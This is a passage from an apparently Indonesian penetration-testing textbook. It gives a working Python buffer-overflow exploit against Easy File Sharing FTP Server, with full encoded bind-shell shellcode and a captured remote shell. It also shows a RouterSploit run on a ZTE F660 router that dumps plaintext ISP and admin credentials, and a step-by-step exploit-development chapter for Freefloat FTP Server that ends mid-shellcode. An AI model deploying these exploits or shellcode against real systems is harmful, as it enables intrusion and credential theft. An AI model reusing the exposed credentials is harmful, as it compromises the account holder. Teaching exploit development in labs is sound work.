"\x90\x15\xd6\xaf\x27\xfa\x6c\xcb\xac\xfd\xa2\x5d\xf6\xd9".
"\x66\x05\xac\x40\x3e\xe3\x03\x7d\x20\x4b\xfb\xdb\x2a\x7e".
"\xe8\x5d\x71\x17\xdd\x53\x8a\xe7\x49\xe4\xf9\xd5\xd6\x5e".
"\x96\x55\x9e\x78\x61\x99\xb5\x3c\xfd\x64\x36\x3c\xd7\xa2".
"\x62\x6c\x4f\x02\x0b\xe7\x8f\xab\xde\xa7\xdf\x03\xb1\x07".
"\xb0\xe3\x61\xef\xda\xeb\x5e\x0f\xe5\x21\xe9\x08\x2b\x11".
"\xb9\xfe\x4e\xa5\x2f\xa2\xc7\x43\x25\x4a\x8e\xdc\xd2\xa8".
"\xf5\xd4\x45\xd3\xdf\x48\xdd\x43\x57\x87\xd9\x6c\x68\x8d".
"\x49\xc1\xc0\x46\x1a\x09\xd5\x77\x1d\x04\x7d\xf1\x25\xce".
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd".
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5".
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29".
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62".
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c".
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x39".
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9".
"\x29\x6b\x60\x28\x23";

$junk      = "\x41" x (2048 - length("w00tw00t") - length($shel
$ret       = pack('V',0x6FC8E251);          # CALL ESP - libstd
```

Pindah shellcode yang ada di https://www.exploit-db.com/exploits/20876/ ke exploit easy file sharing FTPD.

```
# [*] x86/shikata_ga_nai succeeded with size 161 (iteration=1)
shellcode = (
"\xda\xc5\xd9\x74\x24\xf4\x2b\xc9\xba\x3a\x04\xcc\xb6\x5e" +
"\xb1\x56\x31\x56\x19\x83\xee\xfc\x03\x56\x15\xd8\xf1\x30" +
"\x5e\x95\xfa\xc8\x9f\xc5\x73\x2d\xae\xd7\xe0\x25\x83\xe7" +
"\x63\x6b\x28\x8c\x26\x98\xbb\xe0\xee\xaf\x0c\x4e\xc9\x9e" +
"\x8d\x7f\xd5\x4d\x4d\x1e\xa9\x8f\x82\xc0\x90\x5f\xd7\x01" +
"\xd4\x82\x18\x53\x8d\xc9\x8b\x43\xba\x8c\x17\x62\x6c\x9b" +
"\x28\x1c\x09\x5c\xdc\x96\x10\x8d\x4d\xad\x5b\x35\xe5\xe9" +
"\x7b\x44\x2a\xea\x40\x0f\x47\xd8\x33\x8e\x81\x11\xbb\xa0" +
"\xed\xfd\x82\x0c\xe0\xfc\xc3\xab\x1b\x8b\x3f\xc8\xa6\x8b" +
"\xfb\xb2\x7c\x1e\x1e\x14\xf6\xb8\xfa\xa4\xdb\x5e\x88\xab" +
"\x90\x15\xd6\xaf\x27\xfa\x6c\xcb\xac\xfd\xa2\x5d\xf6\xd9" +
"\x66\x05\xac\x40\x3e\xe3\x03\x7d\x20\x4b\xfb\xdb\x2a\x7e" +
"\xe8\x5d\x71\x17\xdd\x53\x8a\xe7\x49\xe4\xf9\xd5\xd6\x5e" +
"\x96\x55\x9e\x78\x61\x99\xb5\x3c\xfd\x64\x36\x3c\xd7\xa2" +
"\x62\x6c\x4f\x02\x0b\xe7\x8f\xab\xde\xa7\xdf\x03\xb1\x07" +
"\xb0\xe3\x61\xef\xda\xeb\x5e\x0f\xe5\x21\xe9\x08\x2b\x11" +
"\xb9\xfe\x4e\xa5\x2f\xa2\xc7\x43\x25\x4a\x8e\xdc\xd2\xa8" +
"\xf5\xd4\x45\xd3\xdf\x48\xdd\x43\x57\x87\xd9\x6c\x68\x8d" +
"\x49\xc1\xc0\x46\x1a\x09\xd5\x77\x1d\x04\x7d\xf1\x25\xce" +
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd" +
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5" +
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29" +
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62" +
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c" +
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x19" +
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9" +
"\x29\x6b\x60\x28\x23"
)
```

Exploit yang ada di https://www.exploit-db.com/exploits/20876/ menggunakan bahasa pemrograman perl, maka sesuaikan dengan format bahasa pemrograman python untuk memasukkan shellcode nya ke exploit easy file sharing FTPD.

Caranya diganti . dengan gambar dan sesuaikan seperti pada gambar.

```
"\xf7\x6f\xe7\x6f\x07\xba\x9f\x0c\x9a\x21\x60\x5b\x87\xfd" +
"\x37\x0c\x79\xf4\xd2\xa0\x20\xae\xc0\x39\xb4\x89\x41\xe5" +
"\x05\x17\x4b\x68\x31\x33\x5b\xb4\xba\x7f\x0f\x68\xed\x29" +
"\xf9\xce\x47\x98\x53\x98\x34\x72\x34\x5d\x77\x45\x42\x62" +
"\x52\x33\xaa\xd2\x0b\x02\xd4\xda\xdb\x82\xad\x07\x7c\x6c" +
"\x64\x8c\x8c\x27\x25\xa4\x04\xee\xbf\xf5\x48\x11\x6a\x39" +
"\x75\x92\x9f\xc1\x82\x8a\xd5\xc4\xcf\x0c\x05\xb4\x40\xf9" +
"\x29\x6b\x60\x28\x23"
)

payload = "\x2c"
payload += "A"*2559
payload += "\xeb\x19\x90\x90"                # jmp to nop sled + shellcode
payload += struct.pack("<I", 0x10017F21)     # pop/pop/ret, SSLEAY32.DLL
payload += "\x90"*30
payload += shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.159", 21))
s.recv(1024)
s.send("USER anonymous\r\n")
s.recv(1024)
s.send("PASS " + payload + "\r\n")
s.recv(1024)
s.close()
```

Ganti ip target seperti di atas

Buat cmd baru

```
E:\>dir hackwin10.py
 Volume in drive E has no label.
 Volume Serial Number is FE56-6A1A

 Directory of E:\

05/24/2017  07:57 AM             3,600 hackwin10.py
               1 File(s)          3,600 bytes
               0 Dir(s)  10,110,476,288 bytes free

E:\>telnet 192.168.1.159 4444
Connecting To 192.168.1.159...Could not open connection to th
4: Connect failed

E:\>python hackwin10.py
```

```
y File Sharing FTP Server>
```

Command Prompt

```
C:\Users\kurniawandata>telnet 192.168.1.159 4444
```

Saat dilakukan akses telnet ke port 4444 tidak bisa, karena exploit belum dijalankan

```
onnecting To 192.168.1.159...Could not open connection to the host, on port
Connect failed

:\>dir hackwin10.py
Volume in drive E has no label.
Volume Serial Number is FE56-6A1A

Directory of E:\

5/24/2017  07:57 AM             3,600 hackwin10.py
               1 File(s)          3,600 bytes
               0 Dir(s)  10,110,476,288 bytes free

:\>telnet 192.168.1.159 4444
onnecting To 192.168.1.159...Could not open connection to the host, on port
: Connect failed

:\>python hackwin10.py
```

Telnet 192.168.1.159

```
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Easy File Sharing FTP Server>ver
ver

Microsoft Windows [Version 10.0.10240]

C:\Easy File Sharing FTP Server>
```

Setelah exploit di jalankan, di sisi kanan, jalankan akses telnet ke ip target melalui port 4444, hasilnya seperti pada gambar pada sisi kanan.

Materi sisipan

The RouterSploit Framework

The RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices.

```
root@kalibr:~# nmap 192.168.1.3

Starting Nmap 7.60 ( https://nmap.org ) at 2018-01-12 01:20 EST
Nmap scan report for 192.168.1.3
Host is up (0.0013s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE
23/tcp    open  telnet
80/tcp    open  http
52869/tcp open  unknown
MAC Address: 2C:95:7F:A7:17:70 (zte)

Nmap done: 1 IP address (1 host up) scanned in 15.06 seconds
root@kalibr:~# telnet 192.168.1.3
Trying 192.168.1.3...
Connected to 192.168.1.3.
Escape character is '^]'.
F660
Login: q
Login timed out after 60 seconds
Connection closed by foreign host.
root@kalibr:~#
```

nmap 192.168.1.3

telnet 192.168.1.3

Terlihat muncul F660

```
root@kalibr:~/routersploit# pwd
/root/routersploit
root@kalibr:~/routersploit# ls
CONTRIBUTING.md  Dockerfile  LICENSE  Makefile  README.md  require
root@kalibr:~/routersploit# ./rsf.py
 ______            _            _____       _       _ _
 | ___ \          | |          /  ___|     | |     (_) |
 | |_/ /___  _   _| |_ ___ _ __\ `--. _ __ | | ___  _| |_
 |    // _ \| | | | __/ _ \ '__|`--. \ '_ \| |/ _ \| | __|
 | |\ \ (_) | |_| | ||  __/ |  /\__/ / |_) | | (_) | | |_
 \_| \_\___/ \__,_|\__\___|_|  \____/| .__/|_|\___/|_|\__|
                                     | |
        IoT Exploitation Framework   |_|

 Dev Team : Marcin Bury (lucyoa) & Mariusz Kupidura (fwkz)
 Codename : Bad Blood
 Version  : 2.2.1

 Exploits: 123 Scanners: 32 Creds: 13 Payloads: 10

rsf >
```

Jalankan ./rsf.py di kali linux dari tempat training

```
rsf (Zte Scanner) > search f660
exploits/routers/zte/f460_f660_backdoor
exploits/routers/zte/f660_config_disclosure
rsf (Zte Scanner) > use exploits/routers/zte/f660_config_disclosure
rsf (ZTE F660 Config Disclosure) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   target                          Target address e.g. 192.168.1.1


Module options:

   Name         Current settings     Description
   ----         ----------------     -----------
   username     root                 Username to authenticate with
   password     Zte521               Password to authenticate with


rsf (ZTE F660 Config Disclosure) > set target 192.168.1.3
[+] {'target': '192.168.1.3'}
rsf (ZTE F660 Config Disclosure) > exploit
[*] Running module...
[*] Trying to authenticate to the telnet server
[+] Authentication successful
[*] Displaying configuration file:
```

search f660

use exploits/routers/zte/f660_config_disclosure

show options

set target 192.168.1.3

exploit

```
cat /userconfig/cfg/db_user_cfg.xml | grep -E 'UserName|Username|Password|password|ESSID|KeyPhase'
<DM name="UserName" val="152315288844@telkom.net"/>
<DM name="Password" val="QABGYR52OA"/>
<DM name="ESSID" val="zte"/>
<DM name="ESSIDPrefix" val=""/>
<DM name="ESSIDHideEnable" val="0"/>
<DM name="ESSID" val="SSID2"/>
<DM name="ESSIDPrefix" val=""/>
<DM name="ESSIDHideEnable" val="0"/>
<DM name="ESSID" val="SSID3"/>
<DM name="ESSIDPrefix" val=""/>
<DM name="ESSIDHideEnable" val="0"/>
<DM name="ESSID" val="SSID4"/>
<DM name="ESSIDPrefix" val=""/>
<DM name="ESSIDHideEnable" val="0"/>
<DM name="Username" val="admin"/>
<DM name="Password" val="baseball21"/>
<DM name="Username" val="user"/>
<DM name="Password" val="user"/>
<DM name="Username" val=""/>
<DM name="Password" val=""/>
<DM name="Username" val=""/>
<DM name="Password" val=""/>
<DM name="UserName" val="CPE"/>
<DM name="Password" val="CPE"/>
<DM name="ConnectionRequestUsername" val="ACS"/>
<DM name="ConnectionRequestPassword" val="ACS"/>
<DM name="Username" val=""/>
<DM name="Password" val=""/>
```

Hasilnya seperti di atas, yaitu ditampilkan usernamenya admin dan passwordnya baseball21

Bab 14

Exploit Development

14.1 Hacking dengan disertai pembelajaran pembuatan exploit.

Exploit adalah sebuah kode yang menyerang keamanan_komputer secara spesifik. Exploit banyak digunakan untuk penentrasi baik secara legal ataupun ilegal untuk mencari kelemahan (Vulnerability) pada komputer tujuan. Bisa juga dikatakan sebuah perangkat lunak yang menyerang kerapuhan keamanan (security vulnerability) yang spesifik namun tidak selalu bertujuan untuk melancarkan aksi yang tidak diinginkan. Banyak peneliti keamanan komputer menggunakan exploit untuk mendemonstrasikan bahwa suatu sistem memiliki kerapuhan.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Exploit

Kasus misal terdapat komputer dengan ip address 192.168.1.31, saat dilakukan scanning dengan NMAP maka terdeteksi program Freefloat FTP Server.

Di sini setelah mengetahui targetnya maka dilakukan beberapa langkah cara pengujian.

14.2 Pengujian port, service, version dan OS

In computer networking, a port serves as an endpoint in an operating system for many types of communication. It is not a hardware device, but a logical construct that identifies a service or process.

A port is always associated with an IP address of a host and the protocol type of the communication, and thus completes the destination or origination address of a communications session. A port is identified for each address and protocol by a 16-bit number, commonly known as the port number.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Port_%28computer_networking%29

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
root@kalidata:~# ifconfig eth0 192.168.1.94/24
root@kalidata:~# nmap -A 192.168.1.31

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-17 16:10 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
 Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.1.31
Host is up (0.0015s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          FreeFloat ftpd 1.00
|_ftp-anon: ERROR: Script execution failed (use -d to debug)
|_ftp-bounce: no banner
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open  msrpc        Microsoft Windows RPC
5000/tcp open  http-proxy   sslstrip
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Site doesn't have a title.
MAC Address: 08:00:27:FF:4C:E6 (Cadmus Computer Systems)
Device type: general purpose
```

Prediksi OS apa yang digunakan target.

```
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open  msrpc        Microsoft Windows RPC
5000/tcp open  upnp         Microsoft Windows UPnP
MAC Address: 08:00:27:FF:4C:E6 (Cadmus Computer Systems)
Device type: general purpose
Running: Microsoft Windows 2000|XP
OS CPE: cpe:/o:microsoft:windows_2000::- cpe:/o:microsoft:windows_2000::sp1
/o:microsoft:windows_2000::sp2 cpe:/o:microsoft:windows_2000::sp3 cpe:/o:mi
ft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::- cpe:/o:microsoft:window
:sp1
OS details: Microsoft Windows 2000 SP0 - SP4 or Windows XP SP0 - SP1
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: WINXP, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:
4c:e6 (Cadmus Computer Systems)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
```

Dengan informasi yang didapatkan maka pencarian celah dan exploit tidak harus selalu mencari di situs penyedia informasi celah keamanan atau situs penyedia exploit tapi bisa dimungkinkan langsung mencoba membuatnya sendiri.

14.3 Download program yang terdeteksi di NMAP

Setelah mengetahui target menggunakan freefloat 1.0 maka dapat download program tersebut dan dibuka dengan Immunity Debugger di Windows XP SP0 atau SP1 sebagai asumsi awal.

Untuk membantu pengujian program freefloat maka perlu dibuat program fuzzer untuk cek keberadaan celah keamanan dan pengembangan untuk pembuatan exploit remote jika dapat dibuat.

14.4 Membuat program fuzzer

Security fuzzer is a tool used by security professionals (and professional hackers :) to test a parameter of an application. Typical fuzzers test an application for buffer overflows, format string vulnerabilities, and error handling.

Sumber : cgisecurity.com - http://www.cgisecurity.com/questions/securityfuzzer.shtml

A Security Fuzzer is a tool designed to provide random data (fuzzing testing) to an application's parameters. In the context of web application testing, fuzzing means testing especially for buffer overflow, parameter format check, various encoding and error handling.

Sumber : dragoslungu.com - http://www.dragoslungu.com/2007/05/12/my-favorite-10-web-application-security-fuzzing-tools/

Di sini pengujian command bisa banyak, tapi di sini untuk awal diuji untuk command USER.

Membuat program fuzzer untuk FTP :

```
#!/usr/bin/python

import socket

ipaddress = "192.168.1.31"
paket = 200
commanduserftp = "\x41" * (paket)
commandpassftp = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(ipaddress),21))
print s.recv(1024)
s.send("USER "+commanduserftp+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpassftp+"\r\n")
```

```
s.close()
```

14.5 Pengujian fuzzing

Fuzz testing or fuzzing is a software testing technique, often automated or semi-automated, that involves providing invalid, unexpected, or random data to the inputs of a computer program. The program is then monitored for exceptions such as crashes, or failing built-in code assertions or for finding potential memory leaks. Fuzzing is commonly used to test for security problems in software or computer systems. It is a form of random testing which has been used for testing hardware or software.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Fuzz_testing

Fuzz testing or *Fuzzing* is a Black Box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.

Sumber : owasp.org - https://www.owasp.org/index.php/Fuzzing

Dalam pengujian maka kita perlu program untuk debugging, salah satunya adalah immunity debugger.

Immunity Debugger is a powerful new way to write exploits, analyze malware, and reverse engineer binary files. It builds on a solid user interface with function graphing, the industry's first heap analysis tool built specifically for heap creation, and a large and well supported Python API for easy extensibility.

Sumber : immunityinc.com - http://www.immunityinc.com/products/debugger/

Jalankan program Immunity Debugger lalu buka program freefloatFTP Server.

Klik play seperti di bawah ini

Jalankan program fuzzer.

```
C:\Python27>python fuzzerftp.py
220 FreeFloat Ftp Server (Version 1.00).

331 Password required for AAAA
```

Kiriman paket tidak menimpa SEH chain, tidak hanya Windows XP SP SP0 / SP1 tidak memiliki proteksi SEH seperti yang ada di Windows XP SP2 atau di atasnya tapi juga bisa karena memang program tersebut tidak mendukung proteksi SEH.

Untuk informasi lebih lanjut dapat masuk ke http://resources.infosecinstitute.com/seh-exploit/

```
File  Edit  Format  View  Help
#!/usr/bin/python

import socket

ipaddress = "192.168.1.31"
paket = 500
commanduserftp = "\x41" * (paket)
commandpassftp = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(ipaddress),21))
print s.recv(1024)
s.send("USER "+commanduserftp+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpassftp+"\r\n")
s.close()
```

Dinaikkan menjadi 500 bytes

Jika di Windows

```
GNU nano 2.2.6              File: fuzzerftp.py

#!/usr/bin/python

import socket

ipaddress = "192.168.1.31"
paket = 500
commanduserftp = "\x41" * (paket)
commandpassftp = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(ipaddress),21))
print s.recv(1024)
s.send("USER "+commanduserftp+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpassftp+"\r\n")
s.close()
```

Jika di linux

Setelah mengetahui tidak menimpa EIP paketnya maka ditingkatkan paketnya, jangan tertlalu besar tapi sedikit demi sedikit.

```
C:\Python27>python fuzzerftp.py
220 FreeFloat Ftp Server (Version 1.00).

331 Password required for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAA
```

Setelah crash maka restart programnya

14.6 Mencari jumlah bytes yang dibutuhkan untuk menulis di EIP

EIP Registers ?

The EIP register always contains the address of the next instruction to be executed.

You cannot directly access or change the instruction pointer.

However, instructions that control program flow, such as calls, jumps, loops, and interrupts, automatically change the instruction pointer.

Sumber : c-jump.com - http://www.c-jump.com/CIS77/ASM/Instructions/I77_0040_instruction_pointer.htm

Masuk ke System Console.

Masuk ke direktori tools lalu ketikkan ruby pattern_create.rb 500 >> c:/testing.txt, hasilnya akan disimpan di testing.txt.

Dengan menggunakan program pattern_create.rb maka dapat membuat suatu generate yang tujuannya dikirimkan ke target. Untuk kasus ini dikirim ke command USER.

Jika menggunakan kali-linux

```
root@dhcppc4:~# cd /home
root@dhcppc4:/home# cd lab
root@dhcppc4:/home/lab# locate pattern_create.rb
/usr/share/metasploit-framework/tools/pattern_create.rb
root@dhcppc4:/home/lab# ruby /usr/share/metasploit-framework/tools/pattern_creat
e.rb 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq
root@dhcppc4:/home/lab#
```

locate pattern_create.rb, lalu cek letak pattern_create.rb lalu jalankan seperti di atas.

Hasil dari pengiriman paket ini dapat dilihat pada nilai EIP yang muncul.

Buka file testing.txt

Salin ke program fuzzer.

Jika untuk linux bisa seperti di bawah ini

Klik kanan lalu copy

```
GNU nano 2.2.6                File: fuzzerftp.py                    Modified

#!/usr/bin/python

import socket

ipaddress = "192.168.1.31"
paket = 200
commanduserftp = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9A$
commandpassftp = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(ipaddress),21))
print s.recv(1024)
s.send("USER "+commanduserftp+"\r\n")
print s.recv(1024)
s.send("PASS "+commandpassftp+"\r\n")
s.close()
```

Lakukan paste di program fuzzer, sesuaikan seperti di atas.

```
root@dhcppc4:/home/lab50# python fuzzerftp.py
220 FreeFloat Ftp Server (Version 1.00).

331 Password required for Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7
Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae
4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0A
h1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7
Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am
4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0A
p1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq.

root@dhcppc4:/home/lab50#
```

Hasilnya

```
00AFFC2C  31694130 0Ai1
00AFFC30  41326941 Ai2A
00AFFC34  69413369 i3Ai
00AFFC38  35694134 4Ai5
00AFFC3C  41366941 Ai6A
00AFFC40  69413769 i7Ai
00AFFC44  39694138 8Ai9
00AFFC48  41306A41 Aj0A
00AFFC4C  6A41316A j1Aj
00AFFC50  336A4132 2Aj3
00AFFC54  41346A41 Aj4A
00AFFC58  6A41356A j5Aj
00AFFC5C  376A4136 6Aj7
00AFFC60  41386A41 Aj8A

ng [37684136] - use Shift+F7/F8/F9 to pa        Paused
```

Program FTP Server mengalami crash

Hasilnya nilai EIP setelah dikirimkan hasil generate dari pattern_create.rb adalah berupa nilai dengan angka 37684136.

Masukkan nilai 37684136 di pattern_offset.rb. Caranya ketik ruby pattern_offset.rb 37684136

```
C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_offset.rb 37684136
230

C:\Program Files\Rapid7\framework\msf3\tools>
```

Hasil yang didapatkan adalah 230, artinya dibutuhkan 230 bytes untuk mencapai EIP.

Jika menggunakan kali-linux

```
root@dhcppc4:/home/lab# locate pattern_offset.rb
/usr/share/metasploit-framework/tools/pattern_offset.rb
root@dhcppc4:/home/lab# ruby /usr/share/metasploit-framework/tools/pattern_offse
t.rb 37684136
[*] Exact match at offset 230
root@dhcppc4:/home/lab#
```

Ketik locate pattern_offset.rb, lalu cek letak pattern_offset.rb lalu jalankan seperti di atas.

14.7 Menguji keberadaan proteksi dengan MONA

Download monay.py : https://raw.githubusercontent.com/corelan/mona/master/mona.py

https://raw.githubusercontent.com/corelan/mona/master/mona.py

```
"""

U{Corelan<https://www.corelan.be>}

Copyright (c) 2011-2015, Peter Van Eeckhoutte - Corelan GCV
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
    * Redistributions of source code must retain the above copyright
      notice, this list of conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright
      notice, this list of conditions and the following disclaimer in the
      documentation and/or other materials provided with the distribution.
    * Neither the name of Corelan nor the
      names of its contributors may be used to endorse or promote products
      derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL PETER VAN EECKHOUTTE OR CORELAN GCV BE LIABLE FOR AN
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

$Revision: 562 $
$Id: mona.py 562 2015-06-16 11:46:02Z corelanc0d3r $
"""

__VERSION__ = '2.0'
__REV__ = filter(str.isdigit, '$Revision: 562 $')
__IMM__ = '1.8'
__DEBUGGERAPP__ = ''
```

Salin file mona.py ke c:\Program Files\Immunity Inc\Immunity Debugger\pyCommands.

Setelah disalin mona.py di folder PyCommands maka jalankan !mona modules /mod untuk menegetahui apakah terdapat proteksi untuk penggunaan module.

Hasil dari !mona modules /mod adalah tidak ditemukan proteksi SafeSEH dan ASLR.

Structured Exception Handling (or SEH) is an implementation of exceptions inside the Windows core. It allows code written in different languages to throw exceptions across DLL boundaries, and Windows reports various errors like access violations by throwing them.

Sumber : winehq.org - https://www.winehq.org/docs/winedev-guide/seh

Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Address_space_layout_randomization

14.8 Mencari alamat ESP register

The ESP register serves as an indirect memory operand pointing to the top of the stack at any time).

Sumber : c-jump.com - http://www.c-jump.com/CIS77/ASM/Stack/S77_0040_esp_register.htm

Klik view lalu executable modules.

Pilih shell32.dll karena hasil pengujian beberapa modules lainnya tidak dapat memberikan alamat ESP.

Klik kanan pilih Search for lalu pilih Command

Pada Find Command diisi JMP ESP, di sini digunakan untuk mengontrol code execution.

Alamat yang didapatkan adalah 773D4540. Saat dimasukkan didalam exploit : \x40\x45\x3D\x77 atau bisa dengan struct.pack("<I", 0x773D4540) tapi tambahkan struct pada import. Jadi Import socket, struct.

Setelah mendapatkan alamat dengan perintah JMP ESP maka berikutnya memberikan NOP pada exploit.

NOP dalam bahasa assembly adalah no-op atau no operation sampai instruksi selanjutnya tereksekusi. dengan kata lain NOP adalah bagian yang dilewati sampai instruksi yang benar2 tereksekusi.disini kita pakai NOP untuk melancarkan attack sampai bertemu instruksi yang kita inginkan. NOP dalam bentuk opcode adalah "90" atau "\x90" dalam bentuk shellcode.

NOPSLED adalah serentetan yang terdiri dari NOP sampai beberapa bytes. contoh seperti `perl -e 'print "\x90" x 40'`. maka kita akan mendapatkan "x90" sampai 40 bytes (40 kali).

Sumber : https://www.exploit-db.com/papers/14069/

Contoh untuk menjalankan kalkulator

```
#!/usr/bin/python
import socket
ipaddress = "192.168.1.31"
paket = 230
commanduserftp = "\x41" * (paket)
commandpassftp = "anonymous"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((str(ipaddress),21))
eip = "\x40\x45\x3D\x77"
nop = "\x90" * 30
shellcode = (
"\x31\xd2\x52\x68\x63\x61\x6c\x63\x89\xe6\x52\x56\x64\x8b\x72" +
